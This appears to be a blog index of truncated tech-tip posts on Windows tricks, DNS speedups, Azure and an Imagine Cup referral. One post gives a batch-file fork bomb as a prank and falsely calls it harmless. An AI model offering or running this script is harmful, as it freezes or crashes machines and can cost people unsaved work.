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MICROSOFT IMAGINE CUP

The software giant Microsoft is conducting a student.technology competition called “Imagine Cup 2010″. There are lots of challenges/types of competition in this contest , I assure you will enjoy the contest .The registration method for the competition is mentioned below:

COPY PASTE THE FOLLOWING LINK IN YOUR BROWSER
https://imaginecup.com/registration/default.aspx?EmailID=&ReferralCode=arkabhattacharya1990&DisplayName=&School &Country=India
DO NOT [...]

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RECURSION IN GOOGLE

Google Goes Funny Again! Falls Intentionally In RecursionGoogle never fails to entertain us. This time when you search for Recursion on Google, it keeps on running spell check and displays Did you mean: recursion again and again.
Recursion is the term usually used in Computer Science and this word generally means – to have a activity [...]

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CAPTURING THE CLOUD

Azure ServicesThe Windows® Azure™ Platform is an internet-scale cloud computing and services platform hosted in Microsoft data centers. The Windows Azure Platform provides a range of functionality to build applications that span from consumer web to enterprise scenarios and includes a cloud operating system and a set of developer services. Fully interoperable through the support [...]

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CD VS DVD

Have you ever wondered how does a combo drive play both cd and dvds .?

Why do combo drives often stop reading DVDs but are still able to read CDs?

First lets figure out the essential differnces between CD/ DVDs

DVDs can store more data than CDs for a few reasons:

Higher-density [...]

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INCREASE BROADBAND SPEED

ONLY FOR BSNL USERS
Speed up BSNL Broadband Internet ConnectionTo overcome slow BSNL DNS problem, we will use high speed DNS servers from OpenDNS. OpenDNS is third party DNS Server [...]

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HARD DISK MONITORING SOFTWARE

Do you know how long your hard disk is going to last before u encounter a fatal Blue screen of death ?

Do you no what is the temperature of ur hard disk when u play cpu intensive games?
The answer to all these question might be no but after you go through this post [...]

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Fork Bomb

This is a prank, which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!
To make this open note pad and type:
@echo off:STARTstart a.batGOTO START
The code above must be saved as a.bat [...]

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MUSIC TRACK NOT SHOWING IN GOOGLE TALK STATUS

For those who were busy fighting the aliens while Google Talk added the cool feature to display your currently playing music track in the Google status, please be aware that you can simply do so just by changing the status to “Show current music track”.
Now, it so happened that I eagerly tried the feature when [...]

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INCREASE HARD DISK SPEED IN WINDOWS

If you like to increase/optimize your Hard Disk I/O – read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible [...]

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HIDE FOLDERS IN WINDOWS

hide ur folders without the usage of folder lock :
suppose u want to hide a folder named “hello”which is in D: of ur computer
go to command prompt
start—>run—>cmd–>d:
after changing it from C: to D:
type D:/>attrib +h +s hello
the above command is to hide the folder
to show the folder
tyoe D:/>attrib -h -s abc
in this type of hidding [...]

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